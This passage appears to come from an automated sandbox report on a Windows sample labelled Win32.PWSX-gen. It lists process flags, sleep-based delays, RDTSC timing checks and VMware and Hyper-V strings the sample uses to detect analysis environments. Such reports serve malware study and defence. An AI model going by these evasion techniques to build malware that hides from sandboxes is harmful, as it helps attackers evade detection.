Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	RDTSC instruction interceptor: First address: 0000000000409B7E second address: 0000000000409B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000E79904 second address: 0000000000E7990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 0000000000E79B7E second address: 0000000000E79B84 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe TID: 6916	Thread sleep time: -34627s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe TID: 6876	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7032	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2892	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe TID: 7008	Thread sleep time: -34627s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe TID: 5040	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6196	Thread sleep count: 50 > 30
Source: C:\Windows\SysWOW64\rundll32.exe TID: 6196	Thread sleep time: -100000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Code function: 10_2_00409AB0 rdtsc

10_2_00409AB0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9352	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9450	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 863
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 838

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

API coverage: 1.5 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Thread delayed: delay time: 34627	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Thread delayed: delay time: 34627	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hkkRsa.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: explorer.exe, 0000000F.00000000.451928214.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}efb8b}
Source: explorer.exe, 0000000F.00000003.581521164.0000000008644000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 0000000F.00000003.554148817.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i
Source: explorer.exe, 0000000F.00000000.470103490.000000000F03A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000F.00000003.554148817.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000F.00000000.454543147.00000000043B0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 0000000F.00000003.575314509.00000000086E7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 0000000F.00000003.557721629.000000000ECDA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.581328798.000000000ECDA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.565131674.000000000ECDA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.568851741.000000000ECDA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.573216031.000000000ECDA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.578315402.000000000ECDA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.582536071.000000000ECDA000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.584721689.000000000ECDA000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWta%SystemRoot%\system32\mswsock.dll\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=computerCoS-z
Source: explorer.exe, 0000000F.00000003.581521164.0000000008644000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe

Code function: 10_2_00409AB0 rdtsc

10_2_00409AB0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0180C182 mov eax, dword ptr fs:[00000030h]	10_2_0180C182
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AA189 mov eax, dword ptr fs:[00000030h]	10_2_018AA189
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018AA189 mov ecx, dword ptr fs:[00000030h]	10_2_018AA189
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_0181A185 mov eax, dword ptr fs:[00000030h]	10_2_0181A185
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EB171 mov eax, dword ptr fs:[00000030h]	10_2_017EB171
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EB171 mov eax, dword ptr fs:[00000030h]	10_2_017EB171
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01812990 mov eax, dword ptr fs:[00000030h]	10_2_01812990
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_01814190 mov eax, dword ptr fs:[00000030h]	10_2_01814190
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017EC962 mov eax, dword ptr fs:[00000030h]	10_2_017EC962
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018669A6 mov eax, dword ptr fs:[00000030h]	10_2_018669A6
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E395E mov eax, dword ptr fs:[00000030h]	10_2_017E395E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_017E395E mov eax, dword ptr fs:[00000030h]	10_2_017E395E
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018161A0 mov eax, dword ptr fs:[00000030h]	10_2_018161A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018161A0 mov eax, dword ptr fs:[00000030h]	10_2_018161A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A49A4 mov eax, dword ptr fs:[00000030h]	10_2_018A49A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A49A4 mov eax, dword ptr fs:[00000030h]	10_2_018A49A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A49A4 mov eax, dword ptr fs:[00000030h]	10_2_018A49A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018A49A4 mov eax, dword ptr fs:[00000030h]	10_2_018A49A4
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018651BE mov eax, dword ptr fs:[00000030h]	10_2_018651BE
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe	Code function: 10_2_018651BE mov eax, dword ptr fs:[00000030h]	10_2_018651BE
